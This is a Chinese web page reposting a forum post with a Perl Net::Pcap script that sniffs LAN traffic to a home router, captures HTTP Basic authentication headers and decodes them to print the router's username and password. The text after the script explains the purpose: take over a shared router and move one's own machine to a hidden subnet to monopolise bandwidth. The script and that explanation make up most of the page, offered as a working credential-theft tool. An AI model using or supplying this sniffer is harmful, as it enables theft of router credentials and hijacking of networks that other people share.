文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>获取宽带路由用户名密码

获取宽带路由用户名密码

时间:2008-06-30  来源:sun9527

获取宽带路由用户名密码

[来源:网上转载 (http://bbs.chinaunix.net) | 作者:网友(lovesaka) | 时间:2007-06-26 | 浏览: 525 人次 ]

- <iframe marginwidth="0" marginheight="0" allowtransparency="" src="http://cpro.baidu.com/cpro/ui/uijs.php?fv=9&amp;tn=text_flash_728_90&amp;n=chinakafei2005_cpr&amp;rsi1=90&amp;rsi0=728&amp;rad=&amp;rss0=%23FFFBFF&amp;rss1=%23FFFBFF&amp;rss2=%230000ff&amp;rss3=%23000000&amp;rss4=%23000000&amp;rss5=&amp;rss6=%23000000&amp;rsi5=4&amp;ts=1&amp;at=3&amp;cn=1&amp;if=0&amp;word=http%3A%2F%2Fwww.chmhome.com%2Fknowledge%2Fperl%2F20070626%2F77788.html&amp;refer=http%3A%2F%2Fwww.chmhome.com%2Fknowledge%2Fperl%2F20070624%2F47913.html&amp;ev=16777216&amp;ch=5599&amp;lmt=1214757393&amp;csp=1280,1024&amp;ccd=16&amp;chi=1&amp;cja=true&amp;cpl=6&amp;cmi=16&amp;cce=true&amp;csl=en-US&amp;rt=10&amp;cad=1&amp;aurl=&amp;rss7=&amp;cpa=1" align="center,center" frameborder="0" height="90" scrolling="no" width="728"></iframe>

CODE:
[Copy to clipboard]
#!/usr/bin/perl -w
#############################################
#作者:Minuit
#时间:2007年02月03日 星期六 01时23分09秒
#文件名:base64_test.pl
#描述:从局域网中获取宽带路由用户名密码(用BASE64编码解码)
#############################################
use strict;
use vars qw($i %opts %base_encode64 %base_decode64 $dev $dst $port $pcap $err $filter $program $net $mask);
use subs qw(usage encode decode);
use Net::Pcap;
use Carp;
$i=0;
%base_decode64=map{$_=>$i++}('A'..'Z','a'..'z','0'..'9','+','/','=');
$i=0;
%base_encode64=map{$i++=>$_}('A'..'Z','a'..'z','0'..'9','+','/','=');
use Getopt::Std;
getopts('i:d:p:h', \%opts);
$opts{i} and $dev=$opts{i};
$opts{d} and $dst=$opts{d};
$opts{p} and $port=$opts{p};
$opts{h} and usage($0);
$SIG{INT}=sub {
       Net::Pcap::close($pcap) if defined $pcap;
};
die "Must have (UID|EUID) == 0 to use $0\n" if $> || $<;
$dst||="192.168.1.1";
$port||="80";
$filter="dst host $dst and dst port $port and tcp[13]&8==8";
$dev||=Net::Pcap::lookupdev(\$err) or die "lookupdev:$err\n";
$pcap=Net::Pcap::open_live($dev, 1024,1,0,\$err) or die "open_live:$err\n";
Net::Pcap::lookupnet($dev,\$net,\$mask,\$err) and die "lookupnet:$err\n";
Net::Pcap::compile($pcap,\$program,$filter,10,$mask) and croak "compile(): check string with filter";
Net::Pcap::setfilter($pcap,$program);
Net::Pcap::loop($pcap,0,\&recvpacket,"");
sub recvpacket {
        my($user_data, $header, $packet) = @_;
       #解码
        print decode($1),"\n" if($packet=~/Authorization[\s:]*Basic\s*?(\S*)\r\n/osg);
    }

sub decode {
        chomp(my $str=shift);
        my ($code,$res);
        $str=~s/=$//;
        map{$code.=substr unpack("B*",chr($base_decode64{"$_"})),2}unpack("A"x length $str,$str);
        $res=join "",map{chr(oct("0b$_"))}unpack("A8"x int(length($code)/8),$code);
                ($res="User=$res")=~s/:/,Passwrod=/;
                $res;
}
sub encode {
        chomp(my $str=shift);
        my ($code,$res);
       #先把base64编码后字符串分解然后变成二进制串再合并
        $code=pack("A*",map{unpack("B*",$_)}split " ",$str);
        #得到后的全部二进制串长度然后除6看有多少个6位为一组的串组数
        my $klen=int(length($code)/6);
        #以6位为一组串的多余部份
        my $tlen=int(length($str)*8%6);
         #多余部份不然6位以0填充
        $klen++,$code.=substr("000000",$tlen) if $tlen;
        #分解二进制串以6位为一组然后转换成base64对应的编码再连接成串
        $res=join "",map{$base_encode64{oct("0b00$_")}}unpack("A6"x $klen,$code);
        #如果填充了字节那就以等号结束
        $res.=$tlen?'=':'';
}

sub usage {
        print <<"EOF";
       Usage:$0 [-idp] -i interface -d dstip -p dstprot
EOF
exit
} 有的朋友经常在局域网里被人用网络执法官一类的工具整吧,然后用很多种办法(例如mac绑定,还有和他对着用等等方法最后大家都上不成)都不是很有效
对付这类工具最直接的办法就是控制路由器然后自己找一个没人想得到的网段改一下然后把自己主机改成相同网段那就OK了现在所有带宽都为你所用很爽吧
那怎么控制呢显然是获得路由器的用户名密码
说一下原理
一般的宽带路由器(并非像cisco那样庞大的玩意只是一般的家用路由)差不多都是用web管理进行配置的而它的验证方式也是用简单的http认证用的编码算法是base64码
所以只需对它简单的解码就可以得到路由器的用户名密码了
base64编码规则是把所有8位二进制以6位为一组,然后对每6位前面加两个0组成新的8位为一组.然后根据base64编码表,一一对换如果出现多余部份不足6位就在后面加0接着根据前面规则在6位前加两个0然后尾部加上等号(这是根据我自己理解可能不是很正确)
排行榜 更多 +
别惹神枪手安卓版

别惹神枪手安卓版

冒险解谜 下载
坦克战争世界

坦克战争世界

模拟经营 下载
丛林反击战

丛林反击战

飞行射击 下载